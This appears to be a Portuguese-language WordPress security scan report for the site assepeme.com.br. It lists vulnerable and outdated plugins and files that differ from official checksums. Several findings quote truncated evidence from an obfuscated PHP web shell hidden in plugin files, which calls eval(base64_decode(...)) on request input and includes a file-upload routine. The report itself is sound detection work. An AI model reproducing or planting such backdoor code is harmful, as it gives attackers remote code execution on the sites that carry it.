Arquivo do core difere do checksum oficial (sem marcador de injeção — revisar): /wp-includes/version.php — evidência: $wp_version = '7.1.1';

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/index.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/image/plugins.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo suspeito (heurística de malware, revisar): /wp-content/plugins/background-image-cropper/accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Arquivo do core difere do checksum oficial (sem marcador de injeção — revisar): /wp-config-sample.php — evidência: define( 'DB_NAME', 'nome_do_banco_de_dados_aqui' );

Arquivo PHP desconhecido na raiz (revisar): /accesson.php — evidência: 4\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\

Plugin vulnerável: advanced-cf7-db 2.1.3 (CVE-2026-18594) em assepeme.com.br

Plugin desatualizado: google-site-kit 1.187.0 → 1.188.0 (assepeme.com.br)

Plugin vulnerável: wpmudev-updates 5.0.0 (CVE-2026-76581, CVE-2026-15459) em assepeme.com.br

Malware detectado no site assepeme.com.br